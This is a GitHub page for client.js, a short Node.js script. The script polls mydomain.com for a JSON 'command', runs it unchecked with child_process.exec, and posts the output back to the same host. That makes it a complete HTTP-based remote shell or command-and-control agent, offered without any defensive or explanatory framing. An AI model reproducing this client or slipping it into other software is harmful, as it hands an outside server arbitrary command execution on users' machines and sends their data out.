-
Notifications
You must be signed in to change notification settings - Fork 7
/
client.js
54 lines (47 loc) · 1.17 KB
/
client.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
var http = require("http");
var request = require("request");
var exec = require("child_process").exec;
var child;
// define our http options for the get
var httpOptions = {
host: "mydomain.com",
port: 3000,
path: "/api"
};
// get the command from the server
http.get(httpOptions, function(response) {
var body = "";
response.on("data", function(d) {
body += d;
});
response.on("end", function() {
var parsed = JSON.parse(body);
// store the command in a variable
var command = parsed.command;
// execute the command
child = exec(command,
function (error, stdout, stderr) {
// log out the response from executing the command
console.log(stdout);
// post the results of the command execution back to the server
request({
url: "http://mydomain.com/",
method: "POST",
json: {
cmdReturn: stdout,
}
}, function(error, response, body){
if(error) {
console.log(error);
} else {
// log the success message received from the server
console.log(response.statusCode, body);
}
});
// error handling for exec()
if (error !== null) {
console.log("exec error: " + error);
}
});
});
});